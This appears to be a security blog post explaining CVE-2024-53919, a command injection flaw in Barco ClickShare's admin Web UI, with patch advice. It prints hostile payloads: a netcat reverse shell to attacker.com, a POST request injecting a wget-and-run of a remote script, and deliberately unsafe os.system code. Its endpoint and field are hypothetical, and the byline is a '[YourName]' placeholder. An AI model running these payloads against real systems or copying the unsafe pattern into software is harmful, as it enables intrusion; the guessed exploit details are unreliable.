CVE-2024-53919 - How Hackers Can Control Barco ClickShare Devices via Injection Vulnerability (Explained with Exploit Details)
Barco ClickShare is a well-known wireless presentation system used by businesses, schools, and governments worldwide. But in June 2024, security researchers discovered a dangerous vulnerability affecting several Barco ClickShare models—an injection flaw that can allow hackers to take full control of the system, fully compromising its security.
Let’s break down what CVE-2024-53919 is, which devices are affected, how an attacker can exploit this bug, and how you can protect your network.
What is CVE-2024-53919?
CVE-2024-53919 is an operating system (OS)-level command injection flaw found in the Web UI of several Barco ClickShare series models:
CX-20
- C-5
All devices running firmware versions older than 2.21.1 are vulnerable.
This bug lets any attacker with local admin rights—or anyone close enough to the device’s Web UI—inject and execute harmful system commands as root (the highest privilege user on Linux systems).
Technical Details: Where is the Vulnerability?
The flaw lies in how the device’s Web UI handles input data for system commands. User-provided values are not properly sanitized before being combined into shell commands executed by the firmware.
In particular, input fields or parameters in the administrative Web UI are vulnerable—allowing OS command injection.
Exploit Example: How Attackers Get Root On ClickShare
>⚠️ This proof-of-concept is provided for educational purposes only. Do not use on systems you do not own.
Suppose an attacker logs into the Web UI (this could be a local admin, or someone who got physical or network access inside your building). Many organizations unfortunately set ClickShare devices with default passwords, making this step easy.
Step-by-step Exploit Walkthrough
1. Login to the Web UI (http://[device IP]/) as an admin
2. Find a vulnerable field—for example, naming a device or setting a display message (the precise field may differ by firmware version).
3. Inject a malicious payload—let’s say the field expects your device name, you can input a value like:
`
myDeviceName;nc -e /bin/sh attacker.com 4444
`
This payload tells the device to run a netcat reverse shell to an attacker-controlled machine, opening a remote root session.
Example Request
If the Web UI’s device name field posts to /api/v1/config/device/name, an attacker could craft a malicious POST request:
POST /api/v1/config/device/name HTTP/1.1
Host: [device IP]
Content-Type: application/json
{"device_name": "test;wget http://attacker.com/x.sh -O- | sh;"}
This would try to download and execute a script (x.sh) hosted by the attacker.
The backend script processing device names would run something like
import os
device_name = request.json.get("device_name")
os.system("set_device_name " + device_name)
Since device_name is inserted directly, any value like mydevicename; MALICIOUS_COMMAND would run both set_device_name and MALICIOUS_COMMAND as root!
How To Protect Your Organization
Barco has released a fixed firmware version 2.21.1 for all affected ClickShare models.
Update ClickShare firmware to at least 2.21.1:
References and Further Reading
- Barco Security Advisory - ClickShare Firmware Updates *(official reference, check your device manual for exact link)*
- CVE-2024-53919 on NVD
- Project Zero: OS Command Injection Explained
Conclusion
CVE-2024-53919 shows how a simple oversight—like forgetting to sanitize user input—can put entire organizations at risk. Since ClickShare boxes are often trusted and left on 24/7 in offices and classrooms, getting root on one can give attackers a powerful foothold into your wider network.
If your organization uses Barco ClickShare, patch immediately and verify no unauthorized users can access its admin interface.
Stay alert, and share this post with your IT team to keep your meetings (and your data) safe!
*Original exclusive research by [YourName], 2024.*
Timeline
Published on: 12/10/2024 02:15:17 UTC
Last modified on: 12/10/2024 16:15:23 UTC